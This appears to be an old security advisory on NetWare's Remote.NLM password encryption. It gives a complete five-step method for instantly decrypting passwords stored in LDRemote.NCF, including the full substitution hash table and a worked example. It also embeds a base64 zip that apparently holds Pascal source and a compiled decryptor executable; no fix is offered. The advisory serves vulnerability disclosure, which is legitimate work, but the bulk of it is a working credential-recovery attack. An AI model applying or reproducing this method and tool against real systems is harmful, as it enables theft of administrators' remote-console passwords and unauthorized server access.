COMMAND
Novell Remote.NLM Password Decryption Algorithm
SYSTEMS AFFECTED
Novell Netware
PROBLEM
'dreamer' found following. Novell is known to use a one-way hash
algorithm in their password encryption, so all captured encrypted
passwords must be brute-forced, slowly and painfully. However, a
few days ago, he cryptographically cracked Novell's Remote.NLM
password encryption algorithm. It is a very weak algorithm
compared to what Novell has implemented in NDS, as it is
instantaneously decryptable. RConsole password encryption is
different from Remote.NLM password encryption because:
1) Encrypted RConsole passwords are sent across the wire, via
RConsole. Remote.NLM's encrypted passwords are generated at
the server console by typing REMOTE ENCRYPT MyPass, and they
are optionally stored in SYS:System\LDRemote.NCF.
2) They use a different password encryption algorithm. RConsole
passwords are encrypted with information from the workstation
that is currently running RConsole. Remote.NLM passwords are
encrypted with a time byte, one of 255 constants in a hash
table, appended characters, some XORing, and bit-order
separation.
3) Encrypted RConsole passwords are locally obtained with a packet
sniffer, but Remote.NLM passwords are remotely accessible to
anyone with the ability to view SYS:System\LDRemote.NCF.
The Remote.NLM passwords are decrypted using only five steps. To
encrypt, simply reverse the steps. The password will look
something like this:
AF8CBBF48CA9955F5ADAFDADAA23
The structure of the password is as follows:
AF8CBBF48CA99 55F5ADAFDADAA - 23
The first section contains the low-order bits, and the second, the
high-order bits. 23 is the time byte, which is decremented by the
server once every two seconds, from FF to 02, then back up to FF,
etc.
Step 1) Realign the low-order bits and high-order bits
=======================================================
This is extremely simple to do. The high-order bits are in order
from the first character to the last, and so are the low-order
bits. Example:
Password: AF8CBBF48CA99 - 55F5ADAFDADAA,
Output: 5A 5F F8 5C AB DB AF F4 D8 AC DA A9 A9
At this point, ignore 5A 5F F8 5C, or the first four bytes. They
are appended somewhere during encryption, and decrypt to "%*@$".
It was a TERRIBLE idea for Novell to implement those four
characters into every single password, as those are what helps
rebuild their hash table from scratch. Also, if the length of the
password is 10, the password is automatically decryptable to nul.
Step 2)
=======
Match each of the password characters (group of two hex
characters) to the hash table below. Use their position from the
beginning of the table to determine the value of the pre-hash
encrypted password. Example: F4, the 8th character of the
password, matches the hash table at 95. This means that 95 is the
pre-hash value of F4. Thus far, (ignoring the first four
characters) the password was:
AB DB AF F4 D8 AC DA A9 A9
and now the password is:
98 A0 9B 95 A1 9D A6 9C 9C
Remote.NLM Hash Table
00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
00 5B 58 5E 5F 59 5C 5A 5D-73 70 76 77 71 74 72 75
10 13 10 16 17 11 14 12 15-7B 78 7E 7F 79 7C 7A 7D
20 53 50 56 57 51 54 52 55-03 00 06 07 01 04 02 05
30 1B 18 1E 1F 19 1C 1A 1D-0B 08 0E 0F 09 0C 0A 0D
40 2B 28 2E 2F 29 2C 2A 2D-63 60 66 67 61 64 62 65
50 83 80 86 87 81 84 82 85-3B 38 3E 3F 39 3C 3A 3D
60 8B 88 8E 8F 89 8C 8A 8D-33 30 36 37 31 34 32 35
70 93 90 96 97 91 94 92 95-6B 68 6E 6F 69 6C 6A 6D
80 9B 98 9E 9F 99 9C 9A 9D-A3 A0 A6 A7 A1 A4 A2 A5
90 F3 F0 F6 F7 F1 F4 F2 F5-AB A8 AE AF A9 AC AA AD
A0 DB D8 DE DF D9 DC DA DD-FB F8 FE FF F9 FC FA FD
B0 23 20 26 27 21 24 22 25-B3 B0 B6 B7 B1 B4 B2 B5
C0 CB C8 CE CF C9 CC CA CD-BB B8 BE BF B9 BC BA BD
D0 C3 C0 C6 C7 C1 C4 C2 C5-D3 D0 D6 D7 D1 D4 D2 D5
E0 43 40 46 47 41 44 42 45-E3 E0 E6 E7 E1 E4 E2 E5
F0 4B 48 4E 4F 49 4C 4A 4D-EB E8 EE EF E9 EC EA ED
Step 3)
=======
Subtract the length (the number of groups of hex characters,
excluding the time character) of the full password from each
encrypted password character. Now you have the ACTUAL pre-hash
encrypted password. If the subtracted value is negative then
simply continue from FF down to the negative value. Example: if
the password character is at 04, and the length is 6, the value of
the password character will be FF. The length is 13 (D in hex),
so the password was:
98 A0 9B 95 A1 9D A6 9C 9C
and is now:
8B 93 8E 88 94 90 99 8F 8F
Step 4)
=======
Get the time var, in this situation 23 (hex), and subtract it
from FF. This new character is for use in Step 5. Example:
FF-23=DC.
Step 5)
=======
Finally, XOR each character (group of 2 hex characters) of the
encrypted password with the new time character, and you now have
the decrypted password! The password was:
8B 93 8E 88 94 90 99 8F 8F (before the XOR)
Now, the decrypted password is:
57 4F 52 54 48 4C 45 53 53
"WORTHLESS"
TheRuiner ('dreamer') has written a program in Pascal (oh well)
which decrypts Remote.NLM passwords instantaneously. It was
tested on a password of around 50 characters, and it worked
flawlessly, so there shouldn't be anything to worry about
regarding the length limit. It can decrypt any character, from 00
to FF, and it will display that value upon execution. The source
of the program is below.
---
Content-Type: application/octet-stream; name="remote.zip"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="remote.zip"
Content-MD5: GJdEvw/Ya/aVRkxDK1lSyg==
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
AAAEAAQA3gAAACAiAAAAAA==
-----
SOLUTION
Nothing yet.